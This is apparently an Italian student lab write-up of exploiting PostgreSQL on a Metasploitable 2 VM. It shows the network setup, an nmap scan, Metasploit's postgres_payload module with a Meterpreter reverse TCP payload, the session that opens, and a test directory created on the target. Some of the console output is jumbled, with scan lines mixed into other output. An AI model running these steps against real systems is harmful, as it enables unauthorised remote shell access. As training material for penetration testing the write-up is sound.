

## S7/L3

L'esercizio di oggi chiede di completare una sessione di hacking usando il modulo exploit/linux/postgres/postgres\_payload sul servizio PostgreSQL di Metasploitable 2.

Come prima cosa dobbiamo configurare gli indirizzi IP delle macchine

Su meta basterà andare all'interno del file che si trova in `/etc/network/interfaces`

```
valid_lft forever preferred_lft forever
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel
link/ether 08:00:27:47:ab:3e brd ff:ff:ff:ff:ff:ff
inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
inet6 fe80::a00:27ff:fe47:ab3e/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
admin@metasploitable:~$
```

Su Kali invece utilizziamo il comando che si vede nella foto.

```
File Actions Edit View Help
(kali@kali)-[~]
$ sudo ifconfig eth0 192.168.1.25
[sudo] password for kali:
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_cod
link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.25/24 brd 192.168.1.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fead:2587/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
(kali@kali)-[~]
$
```

Infatti poi verifichiamo con il Ping e funziona.

```
(kali@kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.603 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.372 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.368 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.358 ms
^C
--- 192.168.1.40 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3099ms
rtt min/avg/max/mdev = 0.358/0.425/0.603/0.102 ms
(kali@kali)-[~]
$
```

msfconsole.

```
[kali@kali]~$ msfconsole
```

Metasploit tip: Save the current environment with the save command,  
future console restarts will use this environment again

```
msf>
```

A large ASCII art banner follows, featuring a central URL:

```
https://metasploit.com
```

The banner consists of multiple lines of decorative patterns made of asterisks and spaces.

```
msf> sysinfo
```

System information output:

```
msf5 (framework) v6.4.18-dev [2023-09-17]  
--=[ 2437 exploits - 1255 auxiliary - 429 post ]=  
--=[ 1471 payloads - 47 encoders - 11 nops ]=  
--=[ 9 evasion ]=
```

Metasploit Documentation: <https://docs.metasploit.com/>

Essendo che il servizio che dobbiamo sfruttare non lo conosciamo facciamo una piccola ricerca su Google e scopriamo che in teoria di default utilizza la porta 5432 verificiamo andando a fare una scansione con nmap.

```
(kali㉿kali)-[~]
$ nmap -p 5432 192.168.1.40
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 192.168.1.40
Host is up (0.0046s latency).

PORT      STATE SERVICE
5432/tcp  open  postgresql

Nmap done: 1 IP address (1 host up) scanned
```

Fatto questo possiamo avviare msfconsole e cerchiamo l'exploit fornito dall'esercizio.

```
msf6 exploit(linux/postgres/postgres_payload) >
```

Una volta trovato dobbiamo scegliere ora il payload da usare scriviamo `show payloads` per vederli tutti.

```
16  payload/linux/x86/meterpreter/reverse_tcp
```

Utilizzeremo questo quindi digitiamo **set payload 16.**

```
msf6 exploit(linux/postgres/postgres_payload) > set payload 16
payload => linux/x86/meterpreter/reverse_tcp
```

Ora dobbiamo vedere le opzioni quindi digitiamo `show options`.

```

PORT Name STATE Current Setting Required Description
100 --- close ---
DATABASE postgres no The database to authenticate again
Name: PASSWORD postgres (1 host) no The password for the specified use
RHOSTS no The target host(s), see https://do
RPORT 5432 no The target port
USERNAME postgres 168.1.40 no The username to authenticate as
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 09:57 EST
Nmap scan report for 192.168.1.40
Payload options (linux/x86/meterpreter/reverse_tcp):
PORT Name Current Setting Required Description
5432 --- close ---
LHOST no The listen address (an interface may
Name: LPORT 4444 address (1 host) yes The listen port seconds
msf6 exploit(linux/postgres/postgres_payload) >
Exploit target:

Id Name
-- --
0 Linux x86

View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > set rhost 192.168.1.40
rhost => 192.168.1.40
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.1.25
lhost => 192.168.1.25
msf6 exploit(linux/postgres/postgres_payload) >

```

Come vediamo abbiamo inserito i 2 IP delle nostre macchine.

Quindi ora possiamo far partire scrivendo **exploit**.

```

msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compile
[*] Uploaded as /tmp/IrDmvTHU.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.40:43

```

Come possiamo notare l'exploit è andato a buon fine ed è stata aperta una sessione.

```

meterpreter > mkdir iminside
Creating directory: iminside

```

Creiamo una directory all'interno e poi scriviamo ls e avremo un output così:

```
meterpreter > ls (fs::latency)
Listing: /var/lib/postgresql/8.3/main
=====
5432/tcp open  postgresql
Mode                Size  Type      Last modified          Name
-----
100600/rw-----   4    fil      2010-03-17 10:08:46 -0400 PG_VERSION
040700/rwx----- 4096   dir      2010-03-17 10:08:56 -0400 base
040700/rwx----- 4096   dir      2025-01-22 10:11:31 -0500 global
040700/rwx----- 4096   dir      2025-01-22 10:11:43 -0500 iminside
040700/rwx----- 4096   dir      2010-03-17 10:08:49 -0400 pg_clog
040700/rwx----- 4096   dir      2010-03-17 10:08:46 -0400 pg_multixact
040700/rwx----- 4096   dir      2010-03-17 10:08:49 -0400 pg_subtrans
040700/rwx----- 4096   dir      2010-03-17 10:08:46 -0400 pg_tblspc
040700/rwx----- 4096   dir      2010-03-17 10:08:46 -0400 pg_twophase
040700/rwx----- 4096   dir      2010-03-17 10:08:49 -0400 pg_xlog
100600/rw----- 125    fil      2025-01-22 09:41:30 -0500 postmaster.opts
100600/rw----- 54     fil      2025-01-22 09:41:30 -0500 postmaster.pid
100644/rw-r--r-- 540    fil      2010-03-17 10:08:45 -0400 root.crt
100644/rw-r--r-- 1224   fil      2010-03-17 10:07:45 -0400 server.crt
100640/rw-r----- 891    fil      2010-03-17 10:07:45 -0400 server.key
```

Come vediamo la directory è stata creata con successo ma per verificare completamente andiamo a controllare anche da metasploitable.

```
msfadmin@metasploitable:~$ sudo su
[sudo] password for msfadmin:
root@metasploitable:/home/msfadmin# cd /var/lib/postgresql/8.3/main
root@metasploitable:/var/lib/postgresql/8.3/main# ls
base      pg_clog      pg_tblspc    pg_xlog      root.crt
global    pg_multixact pg_twophase  postmaster.opts server.crt
iminside  pg_subtrans  PG_VERSION  postmaster.pid server.key
root@metasploitable:/var/lib/postgresql/8.3/main#
```

Come possiamo notare anche da metasploitable risulta la directory quindi possiamo considerare la nostra sessione andata a buon fine.